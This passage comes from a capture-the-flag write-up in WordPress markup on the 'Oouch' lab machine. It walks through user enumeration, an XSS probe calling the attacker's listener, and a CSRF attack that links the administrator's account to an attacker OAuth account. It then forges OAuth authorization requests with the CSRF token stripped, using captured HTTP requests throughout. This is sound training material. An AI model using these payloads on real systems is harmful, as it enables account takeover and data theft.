error message on a failed login. This way, we do not even know a correct user name and bruteforcing could take forever. So lets move on to the registration page.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:image {\"id\":15105,\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/4\/03-register-1.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/4\/03-register-1-1024x523.png\" alt=\"\" class=\"wp-image-15105\"\/><\/a><\/figure>\n<!-- \/wp:image -->\n\n<!-- wp:paragraph -->\n<p>On the registration page there is a first interesting behavior to notice. If we choose&nbsp;<em>qtc&nbsp;<\/em>as a username, we get an error message:<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:image {\"id\":15107,\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/4\/04-user-enum-1.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/4\/04-user-enum-1-1024x537.png\" alt=\"\" class=\"wp-image-15107\"\/><\/a><\/figure>\n<!-- \/wp:image -->\n\n<!-- wp:paragraph -->\n<p>This could allow us to enumerate valid usernames, but&nbsp;<em>qtc&nbsp;<\/em>is perhaps already the username of the site administrator. From here we could start a more dedicated bruteforce attack, but this should of course only be the last option. So let us register a own user named&nbsp;<em>test&nbsp;<\/em>and enumerate the site behind the login<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:image {\"id\":15109,\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/4\/05-consumer.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/4\/05-consumer-1024x397.png\" alt=\"\" class=\"wp-image-15109\"\/><\/a><\/figure>\n<!-- \/wp:image -->\n\n<!-- wp:paragraph -->\n<p>The first thing that strikes the eye is the&nbsp;<em>Profile&nbsp;<\/em>page. On this page we can see that there is a field with name&nbsp;<em>Connected-Accounts<\/em>. This is another indicator that&nbsp;<em>OAuth2<\/em>&nbsp;is used on this application. However, so far no accounts seem to be connected to our user.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:image {\"id\":15112,\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/4\/06-profile-1.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/4\/06-profile-1-1024x491.png\" alt=\"\" class=\"wp-image-15112\"\/><\/a><\/figure>\n<!-- \/wp:image -->\n\n<!-- wp:paragraph -->\n<p>The next endpoint that seems to be really interesting is the&nbsp;<em>Documents&nbsp;<\/em>page. Here we get informed that the document store is only available for administrators. By getting access to an administrative account, this page could provide us access to the local file system of the server or may provide some sensitive documents that were stored by the administrator.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:image {\"id\":15114,\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/4\/07-documents-1.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/4\/07-documents-1-1024x345.png\" alt=\"\" class=\"wp-image-15114\"\/><\/a><\/figure>\n<!-- \/wp:image -->\n\n<!-- wp:paragraph -->\n<p>Finally, the&nbsp;<em>Contact&nbsp;<\/em>endpoint could be interesting. Here it is said, that messages are directly forwarded to the system administrator. This could allow us to inject some&nbsp;<em>JavaScript&nbsp;<\/em>inside the browser of the administrator and to perform some&nbsp;<em>XSS&nbsp;<\/em>attacks.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:image {\"id\":15116,\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/4\/08-contact-1.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/4\/08-contact-1-1024x427.png\" alt=\"\" class=\"wp-image-15116\"\/><\/a><\/figure>\n<!-- \/wp:image -->\n\n<!-- wp:paragraph -->\n<p>Lets start from here and try a simple&nbsp;<em>XSS&nbsp;<\/em>attack using a payload like this:&lt;<strong>img<\/strong> src=\"http:\/\/10.10.14.37:8000\/test\" \/&gt;<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If the site is vulnerable, this should lead to a request on our&nbsp;<em>HTTP&nbsp;<\/em>listener.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:image {\"id\":15118,\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/4\/09-hacker.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/4\/09-hacker-1024x313.png\" alt=\"\" class=\"wp-image-15118\"\/><\/a><\/figure>\n<!-- \/wp:image -->\n\n<!-- wp:paragraph -->\n<p>Wow\u2026 Inserting&nbsp;<em>HTML&nbsp;<\/em>code inside the contact form will block our IP address for about one minute. Indeed, after issuing the request, I cannot contact the webapplication anymore. This is really frustrating. We could now stress the filtering rules of the application and try to use some more exotic&nbsp;<em>XSS&nbsp;<\/em>payloads. However, we do not even have the guarantee that the system administrator opens our messages inside the browser. So before wasting time with exotic payloads, lets make a final test with a simple&nbsp;<em>URL&nbsp;<\/em>to see if the administrator may just clicks on links.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:image {\"id\":15120,\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/4\/10-csrf.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/4\/10-csrf-1024x470.png\" alt=\"\" class=\"wp-image-15120\"\/><\/a><\/figure>\n<!-- \/wp:image -->\n\n<!-- wp:paragraph -->\n<p>Okay, the message seems to pass the filtering rules. But do we also get an incoming request?[pentester@kali www]$ python3 -m http.serverServing HTTP on 0.0.0.0 port 8000 (http:\/\/0.0.0.0:8000\/) ...10.10.10.177 - - [29\/Jun\/2020 <em>06<\/em>:58:12] code 404, message File not found10.10.10.177 - - [29\/Jun\/2020 <em>06<\/em>:58:12] \"GET \/test HTTP\/1.1\" 404 -<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Indeed! The system administrator seems at least to follow&nbsp;<em>URLs&nbsp;<\/em>that we include inside the message box. This opens the possibility for some&nbsp;<em>CSRF&nbsp;<\/em>attacks that, in the context of an&nbsp;<em>OAuth2&nbsp;<\/em>application, can have devastating consequences.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 id=\"finding-oauth\">3.3 \u2013 Finding the O in Oouch<\/h3>\n<!-- \/wp:heading -->\n\n<!-- wp:paragraph -->\n<p>For now we identified that the system administrator visits&nbsp;<em>URLs&nbsp;<\/em>that are issued by the&nbsp;<em>Contact&nbsp;<\/em>endpoint of the application on port 5000. However, inside the application itself we did not identify vulnerable endpoints where we could take advantage of this behavior.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The following step is a little bit handwaving and was actually not intended. I really expected that the word&nbsp;<code>oauth<\/code>&nbsp;would be part of all major wordlists out there, but unfortunately all&nbsp;<em>dirbuster&nbsp;<\/em>lists on&nbsp;<em>Kali Linux<\/em>&nbsp;do not include it. This is really unfortunate, but I hope that the endpoint&nbsp;<em>oauth&nbsp;<\/em>can be found by looking at the theme of the box. So lets cheat a little bit, use the knowledge of the author and visit the&nbsp;<code><strong>\/<\/strong>oauth<\/code>&nbsp;endpoint on port 5000.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:image {\"id\":15321,\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/4\/11-oauth-1.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/4\/11-oauth-1-1024x514.png\" alt=\"\" class=\"wp-image-15321\"\/><\/a><\/figure>\n<!-- \/wp:image -->\n\n<!-- wp:paragraph -->\n<p>On this endpoint we get finally informed that the application supports&nbsp;<em>OAuth&nbsp;<\/em>and that we can connect our account with an&nbsp;<em>OAuth2&nbsp;<\/em>account on the authorization server. This is interesting, since now we should see how a valid request to the authorization server actually looks like. So lets try to connect our account! Before doing so, we should of course add&nbsp;<code>consumer.oouch.htb<\/code>&nbsp;to our&nbsp;<code>\/etc\/hosts<\/code>&nbsp;file, since the presented links do obviously use this hostname. After clicking on one of the provided links, we are redirected to&nbsp;<code>authorization.oouch.htb<\/code>.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:image {\"id\":15162,\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/4\/12-hostname-1.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/4\/12-hostname-1-1024x475.png\" alt=\"\" class=\"wp-image-15162\"\/><\/a><\/figure>\n<!-- \/wp:image -->\n\n<!-- wp:paragraph -->\n<p>Now we also know how the hostname of the authorization server has to look like. So lets add&nbsp;<code>authorization.oouch.htb<\/code>&nbsp;to the&nbsp;<code>\/etc\/hosts<\/code>&nbsp;file and just try to visit it using our browser.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:image {\"id\":15127,\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/4\/13-authorization-1.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/4\/13-authorization-1-1024x357.png\" alt=\"\" class=\"wp-image-15127\"\/><\/a><\/figure>\n<!-- \/wp:image -->\n\n<!-- wp:paragraph -->\n<p>Okay, that looks like a typical authorization server. To go on, we need to register a new account.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:image {\"id\":15129,\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/4\/14-register.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/4\/14-register-1024x649.png\" alt=\"\" class=\"wp-image-15129\"\/><\/a><\/figure>\n<!-- \/wp:image -->\n\n<!-- wp:paragraph -->\n<p>Things get interesting! From the registration form we can see, that the authorization servers asks users about&nbsp;<em>SSH&nbsp;<\/em>information. Remember at this point that in a&nbsp;<em>OAuth2&nbsp;<\/em>setup consumer applications are usually allowed to access user data using the&nbsp;<em>OAuth2&nbsp;<\/em>endpoint. This means, that consumer applications probably have access to&nbsp;<em>SSH&nbsp;<\/em>data that users enter during registration. This could be our way to get onto the server, but for now we feel relatively far away from that point.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>We register a new account named&nbsp;<em>test_auth<\/em>&nbsp;and check if the connection of local user accounts on the consumer application works. After visiting the&nbsp;<code>\/oauth\/connect<\/code>&nbsp;endpoint on the consumer application again, we get a redirect to the authorization server:<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:image {\"id\":15131,\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/4\/15-connect.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/4\/15-connect-1024x294.png\" alt=\"\" class=\"wp-image-15131\"\/><\/a><\/figure>\n<!-- \/wp:image -->\n\n<!-- wp:paragraph -->\n<p>We allow access for the consumer application and are redirected to our profile page. We can see that the&nbsp;<em>OAuth2&nbsp;<\/em>account&nbsp;<em>test_auth<\/em>&nbsp;was indeed connected to our local account.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:image {\"id\":15133,\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/4\/16-connected.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/4\/16-connected-1024x498.png\" alt=\"\" class=\"wp-image-15133\"\/><\/a><\/figure>\n<!-- \/wp:image -->\n\n<!-- wp:paragraph -->\n<p>From this point, we can use&nbsp;<code>\/oauth\/login<\/code>&nbsp;endpoint on the consumer application to sign in with our&nbsp;<em>OAuth2&nbsp;<\/em>account.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 id=\"ready-to-attack\">3.4 \u2013 Ready to Attack<\/h3>\n<!-- \/wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Okay, lets recap what we know so far:<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>We can force the system administrator to perform&nbsp;<em>GET&nbsp;<\/em>requests to arbitrary locations.<\/li><li>There is an&nbsp;<em>OAuth&nbsp;<\/em>consumer application that supports the connection of local and&nbsp;<em>OAuth2&nbsp;<\/em>accounts.<\/li><\/ul>\n<!-- \/wp:list -->\n\n<!-- wp:paragraph -->\n<p>This seems to be not very much, but when you think about the&nbsp;<em>OAuth2&nbsp;<\/em>vulnerabilities that we discussed earlier, this could already be sufficient to perform a powerful attack. The only requirement is, that the actual connection request on the consumer application does not require a valid&nbsp;<em>CSRF&nbsp;<\/em>token. To check this, we initiate the account connection again and intercept the final request to the consumer application.<strong>GET<\/strong> \/oauth\/connect\/token?code=<strong>JMrrlAq0SyW3ONFaVkTaR96IGPxUPC<\/strong><strong>HTTP<\/strong>\/1.1<strong>Host<\/strong>: consumer.oouch.htb:5000<strong>Accept<\/strong>: text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8<strong>Accept<\/strong>-<strong>Language<\/strong>: en-<strong>US<\/strong>,en;q=0.5<strong>Accept<\/strong>-<strong>Encoding<\/strong>: gzip, deflate<strong>Referer<\/strong>: http:\/\/authorization.oouch.htb:8000\/<strong>Cookie<\/strong>: session=.eJwlj8FqAzEMRH_F[...]<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>As one can see, there is only one parameter included into the request, which is the&nbsp;<em>authorization_code<\/em>&nbsp;from the&nbsp;<em>OAuth2&nbsp;<\/em>provider. There is no&nbsp;<em>CSRF&nbsp;<\/em>protection at all. Keep in mind that the request shown above is the only thing required to connect our&nbsp;<em>test_auth&nbsp;<\/em>account with a local account on the consumer application. Whoever sends this request to the consumer application will connect his account with our&nbsp;<em>test_auth&nbsp;<\/em>user on the authorization server.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To perform the attack, we visit the&nbsp;<code>\/oauth\/connect<\/code>&nbsp;endpoint on the consumer application again, but intercept the final request to the consumer application. This request is then used to perform the&nbsp;<em>CSRF&nbsp;<\/em>attack on the consumer application administrator. We post the corresponding link into the contact form and wait about two minutes.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:image {\"id\":15183} -->\n<figure class=\"wp-block-image\"><img src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/4\/17-csrf-1-1024x477.png\" alt=\"\" class=\"wp-image-15183\"\/><\/figure>\n<!-- \/wp:image -->\n\n<!-- wp:paragraph -->\n<p>If the attack was successful, the account of the site administrator (<em>qtc<\/em>) is now connected to our&nbsp;<em>OAuth2&nbsp;<\/em>account (<em>test_auth<\/em>). By visiting the&nbsp;<code>\/oauth\/login<\/code>&nbsp;endpoint, we should be able to login via&nbsp;<em>OAuth&nbsp;<\/em>and hopefully see a different local account then we visit the&nbsp;<code>\/profile<\/code>&nbsp;endpoint.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:image {\"id\":15185} -->\n<figure class=\"wp-block-image\"><img src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/4\/18-qtc-1024x459.png\" alt=\"\" class=\"wp-image-15185\"\/><\/figure>\n<!-- \/wp:image -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 id=\"getting-rewarded\">3.5 \u2013 Getting Rewarded<\/h3>\n<!-- \/wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Now that we are&nbsp;<em>qtc<\/em>, we are able to use the&nbsp;<code>\/documents<\/code>&nbsp;endpoint:<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:image {\"id\":15189} -->\n<figure class=\"wp-block-image\"><img src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/4\/19-documents-1024x426.png\" alt=\"\" class=\"wp-image-15189\"\/><\/figure>\n<!-- \/wp:image -->\n\n<!-- wp:paragraph -->\n<p>The&nbsp;<code><strong>\/<\/strong>documents<\/code>&nbsp;endpoint seems not to provide real access to the file system. However, we obtain some useful information:<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><code>dev_access.txt<\/code>&nbsp;gives us some credentials, probably for developer endpoints. The note about application registration probably means, that we can use these credentials to register our own&nbsp;<em>OAuth2&nbsp;<\/em>consumer application.<\/li><li><code>\/api\/get_user<\/code>&nbsp;seems to be one endpoint of the resource server. Such endpoints are used by the consumer applications to obtain user profile data. Furthermore, we get informed that the endpoint&nbsp;<code>\/oauth\/authorize<\/code>&nbsp;now also supports&nbsp;<em>GET&nbsp;<\/em>requests. This could be essential for us, since we are only able to force the system administrator to perform&nbsp;<em>GET&nbsp;<\/em>requests.<\/li><li>Finally, there is a&nbsp;<code>todo.txt<\/code>&nbsp;that mentions that access to&nbsp;<em>qtc\u2019s<\/em>&nbsp;<em>SSH&nbsp;<\/em>key can be obtained. Well, this is an indication that&nbsp;<em>qtc<\/em>&nbsp;really saved his&nbsp;<em>SSH&nbsp;<\/em>key on the authorization server, and since I\u2019m&nbsp;<em>qtc<\/em>, I can confirm:&nbsp;<em>Yes I did<\/em>.<\/li><\/ul>\n<!-- \/wp:list -->\n\n<!-- wp:paragraph -->\n<p>But how do we take advantage from all these hints? Well, we first of all need to search for these developer endpoints. Remember the&nbsp;<code>project.txt<\/code>&nbsp;file that we found on the&nbsp;<em>FTP&nbsp;<\/em>server? It said that the authorization server was developed using&nbsp;<em>Django<\/em>. Time to look if there is a default plugin for this&nbsp;<em>OAuth&nbsp;<\/em>stuff.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:image {\"id\":15193} -->\n<figure class=\"wp-block-image\"><img src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/4\/20-django-1024x525.png\" alt=\"\" class=\"wp-image-15193\"\/><\/figure>\n<!-- \/wp:image -->\n\n<!-- wp:paragraph -->\n<p>Indeed, there is! The&nbsp;<code>dev_access.txt<\/code>&nbsp;mentioned now, that application registration is allowed. The documentation of&nbsp;<em>Djangos OAuth Toolkit<\/em>&nbsp;tells us, that application registration can be done on the endpoint&nbsp;<code>http:\/\/&lt;HOST&gt;:8000\/o\/applications\/<\/code>. Since the authorization servers used the prefix&nbsp;<code>oauth<\/code>&nbsp;instead of<code>o<\/code>, I guess we visit&nbsp;<code>\/oauth\/applications<\/code>:<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:image {\"id\":15196} -->\n<figure class=\"wp-block-image\"><img src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/4\/21-admin-only-1024x404.png\" alt=\"\" class=\"wp-image-15196\"\/><\/figure>\n<!-- \/wp:image -->\n\n<!-- wp:paragraph -->\n<p>\u201e<em>Oouch Admin Only<\/em>\u201c does not sound good, since we only have developer access. But the endpoint&nbsp;<code>\/oauth\/applications<\/code>&nbsp;is not only for application registration. It gives an overview over all registered consumer applications and maybe only this view is protected by the administrator. So lets try to visit&nbsp;<code>\/oauth\/applications\/register<\/code>&nbsp;directly:<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:image {\"id\":15199} -->\n<figure class=\"wp-block-image\"><img src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/4\/22-development-1024x434.png\" alt=\"\" class=\"wp-image-15199\"\/><\/figure>\n<!-- \/wp:image -->\n\n<!-- wp:paragraph -->\n<p>Here we go! By entering the development credentials, we get to the registration interface for new consumer applications.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:image {\"id\":15201} -->\n<figure class=\"wp-block-image\"><img src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/4\/23-register-1-1024x544.png\" alt=\"\" class=\"wp-image-15201\"\/><\/figure>\n<!-- \/wp:image -->\n\n<!-- wp:paragraph -->\n<p>So it seems like we are able to register a new&nbsp;<em>OAuth2&nbsp;<\/em>consumer application. Can we benefit from this? The answer is:&nbsp;<em>maybe<\/em>. Remember our&nbsp;<em>OAuth&nbsp;<\/em>discussion from above? We said that some authorization servers do not protect their authorization endpoint by&nbsp;<em>CSRF&nbsp;<\/em>tokens. In this case, we could force other user accounts to allow access for our consumer application by performing a&nbsp;<em>CSRF&nbsp;<\/em>attack. Lets give it a try! First we register our new consumer application. We choose a name of&nbsp;<em>Test<\/em>, make the application&nbsp;<em>confidential<\/em>&nbsp;and register it for the&nbsp;<em>authorization_code<\/em>&nbsp;flow. The redirect&nbsp;<em>URL&nbsp;<\/em>points of course to our own&nbsp;<em>HTTP&nbsp;<\/em>listener:<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:image {\"id\":15205} -->\n<figure class=\"wp-block-image\"><img src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/4\/24-register-1-1024x595.png\" alt=\"\" class=\"wp-image-15205\"\/><\/figure>\n<!-- \/wp:image -->\n\n<!-- wp:paragraph -->\n<p>Now we need to check how an authorization request for data access looks like. We can search in our Burp-State for requests on the&nbsp;<code>\/oauth\/authorize<\/code>&nbsp;endpoint and will find the following format:<strong>POST<\/strong> \/oauth\/authorize\/?client_id=<strong>UDBtC8HhZI18nJ53kJVJpXp4IIffRhKEXZ0fSd82<\/strong>&amp;response_type=code&amp;redirect_uri=http:\/\/consumer.oouch.htb:5000\/oauth\/login\/token&amp;scope=read <strong>HTTP<\/strong>\/1.1<strong>Host<\/strong>: authorization.oouch.htb:8000<strong>Accept<\/strong>: text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8<strong>Accept<\/strong>-<strong>Language<\/strong>: en-<strong>US<\/strong>,en;q=0.5<strong>Accept<\/strong>-<strong>Encoding<\/strong>: gzip, deflate<strong>Content<\/strong>-<strong>Type<\/strong>: application\/x-www-form-urlencoded<strong>Cookie<\/strong>: csrftoken=4gdYgO4ALPLbDTs9HENL7SlowWpidXFomyLC6SGBrCjOi6ie5bmbfU9RSxw6er1H; sessionid=eo4xm3myi2dv13tk0a59cv167qqjd71i<strong>Content<\/strong>-<strong>Length<\/strong>: 264csrfmiddlewaretoken=<strong>RrBXLf7cGwpEkCC0fvvHRRK7pbHw7wrRAzEoZM5PBHvhmibBrOfLvPTaHYrcJrra<\/strong>&amp;redirect_uri=http%3A%2F%2Fconsumer.oouch.htb%3A5000%2Foauth%2Flogin%2Ftoken&amp;scope=read&amp;client_id=<strong>UDBtC8HhZI18nJ53kJVJpXp4IIffRhKEXZ0fSd82<\/strong>&amp;state=&amp;response_type=code&amp;allow=<strong>Authorize<\/strong><\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Noticed the&nbsp;<code>allow=Authorize<\/code>&nbsp;parameter at the end? This is a clear indication that this is already the final authorization request. One can also look at the response to see this, since the response contains a redirect to the&nbsp;<em>consumer application<\/em>&nbsp;containing the&nbsp;<em>authorization_code<\/em>:<strong>HTTP<\/strong>\/1.1 302 <strong>Found<\/strong><strong>Content<\/strong>-<strong>Type<\/strong>: text\/html; charset=utf-8<strong>Location<\/strong>: http:\/\/consumer.oouch.htb:5000\/oauth\/login\/token?code=9Ecm8AKAOZFCs1YJCClXi17JEdQjmH<strong>X<\/strong>-<strong>Frame<\/strong>-<strong>Options<\/strong>: <strong>SAMEORIGIN<\/strong><strong>Content<\/strong>-<strong>Length<\/strong>: 0<strong>Vary<\/strong>: <strong>Authorization<\/strong>, <strong>Cookie<\/strong><\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So this is the request that we need to enforce by using a&nbsp;<em>CSRF&nbsp;<\/em>attack. But now we are confronted with two problems:<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><li>The request is a&nbsp;<em>POST&nbsp;<\/em>request. We are only able to enforce&nbsp;<em>GET&nbsp;<\/em>requests by the administrator.<\/li><li>The request contains a&nbsp;<em>csrfmiddelwaretoken<\/em>.<\/li><\/ol>\n<!-- \/wp:list -->\n\n<!-- wp:paragraph -->\n<p>The first problem is maybe not a real problem, since our information from the&nbsp;<code>\/documents<\/code>&nbsp;endpoint said, that the authorization endpoint now also supports&nbsp;<em>GET&nbsp;<\/em>requests. By simply removing all&nbsp;<em>GET&nbsp;<\/em>parameters from the above displayed request and using Burp\u2019s \u201e<em>Change Request Method<\/em>\u201c feature, we can simply try if&nbsp;<em>GET&nbsp;<\/em>requests are also allowed:<strong>GET<\/strong> \/oauth\/authorize\/?csrfmiddlewaretoken=<strong>RrBXLf7cGwpEkCC0fvvHRRK7pbHw7wrRAzEoZM5PBHvhmibBrOfLvPTaHYrcJrra<\/strong>&amp;redirect_uri=http%3A%2F%2Fconsumer.oouch.htb%3A5000%2Foauth%2Flogin%2Ftoken&amp;scope=read&amp;client_id=<strong>UDBtC8HhZI18nJ53kJVJpXp4IIffRhKEXZ0fSd82<\/strong>&amp;state=&amp;response_type=code&amp;allow=<strong>Authorize<\/strong><strong>HTTP<\/strong>\/1.1<strong>Host<\/strong>: authorization.oouch.htb:8000<strong>Accept<\/strong>: text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8<strong>Accept<\/strong>-<strong>Language<\/strong>: en-<strong>US<\/strong>,en;q=0.5<strong>Accept<\/strong>-<strong>Encoding<\/strong>: gzip, deflate<strong>Cookie<\/strong>: csrftoken=4gdYgO4ALPLbDTs9HENL7SlowWpidXFomyLC6SGBrCjOi6ie5bmbfU9RSxw6er1H; sessionid=eo4xm3myi2dv13tk0a59cv167qqjd71i<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The servers response indicates, that this works fine:<strong>HTTP<\/strong>\/1.1 302 <strong>Found<\/strong><strong>Content<\/strong>-<strong>Type<\/strong>: text\/html; charset=utf-8<strong>Location<\/strong>: http:\/\/consumer.oouch.htb:5000\/oauth\/login\/token?code=<strong>L5J6KrCz85S6qAUztiphRK9xCJuRpj<\/strong><strong>X<\/strong>-<strong>Frame<\/strong>-<strong>Options<\/strong>: <strong>SAMEORIGIN<\/strong><strong>Content<\/strong>-<strong>Length<\/strong>: 0<strong>Vary<\/strong>: <strong>Authorization<\/strong>, <strong>Cookie<\/strong><\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Now, for the second problem, we need some luck. It may sounds hard to belive, but many times application developers include a&nbsp;<em>CSRF&nbsp;<\/em>token inside of&nbsp;<em>HTTP&nbsp;<\/em>requests, but do not validate it on the server side. If we are lucky, this is also the case here and we can simply delete the&nbsp;<em>CSRF&nbsp;<\/em>token:<strong>GET<\/strong> \/oauth\/authorize\/?redirect_uri=http%3A%2F%2Fconsumer.oouch.htb%3A5000%2Foauth%2Flogin%2Ftoken&amp;scope=read&amp;client_id=<strong>UDBtC8HhZI18nJ53kJVJpXp4IIffRhKEXZ0fSd82<\/strong>&amp;state=&amp;response_type=code&amp;allow=<strong>Authorize<\/strong><strong>HTTP<\/strong>\/1.1<strong>Host<\/strong>: authorization.oouch.htb:8000<strong>User<\/strong>-<strong>Agent<\/strong>: <strong>Mozilla<\/strong>\/5.0 (<strong>X11<\/strong>; <strong>Linux<\/strong> x86_64; rv:60.0) <strong>Gecko<\/strong>\/20100101 <strong>Firefox<\/strong>\/60.0<strong>Accept<\/strong>: text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8<strong>Accept<\/strong>-<strong>Language<\/strong>: en-<strong>US<\/strong>,en;q=0.5<strong>Accept<\/strong>-<strong>Encoding<\/strong>: gzip, deflate<strong>Cookie<\/strong>: csrftoken=4gdYgO4ALPLbDTs9HENL7SlowWpidXFomyLC6SGBrCjOi6ie5bmbfU9RSxw6er1H; sessionid=eo4xm3myi2dv13tk0a59cv167qqjd71i<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Again, the server response stays the same:<strong>HTTP<\/strong>\/1.1 302 <strong>Found<\/strong><strong>Content<\/strong>-<strong>Type<\/strong>: text\/html; charset=utf-8<strong>Location<\/strong>: http:\/\/consumer.oouch.htb:5000\/oauth\/login\/token?code=uAKLN5PGo9SKoIoRYqAVKukQHuLOAL<strong>X<\/strong>-<strong>Frame<\/strong>-<strong>Options<\/strong>: <strong>SAMEORIGIN<\/strong><strong>Content<\/strong>-<strong>Length<\/strong>: 